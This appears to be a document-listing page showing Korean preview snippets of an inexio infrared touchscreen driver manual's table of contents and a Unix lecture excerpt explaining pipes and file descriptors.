목차 제 1 장 inexio Touch Driver소개... 3 1.1 소개 및 주요 기능... 3 1.2 제품사양... 4 제 2 장 설치 및 실행... 5 2.1 설치 시 주의사항... 5 2.2 설치 권고 사양... 5 2.3 프로그램 설치... 6 2.4 하드웨 최종 수정일: 2010.01.15 inexio 적외선 터치스크린 사용 설명서 [Notes] 본 매뉴얼의 정보는 예고 없이 변경될 수 있으며 사용된 이미지가 실제와 다를 수 있습니다. 1 목차 제 1 장 inexio Touch Driver소개... 3 1.1 소개 및 주요 기능... 3 1.2 제품사양... 4 제 2 장 설치 및 실행... 5 2.1 설치 시

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.

More information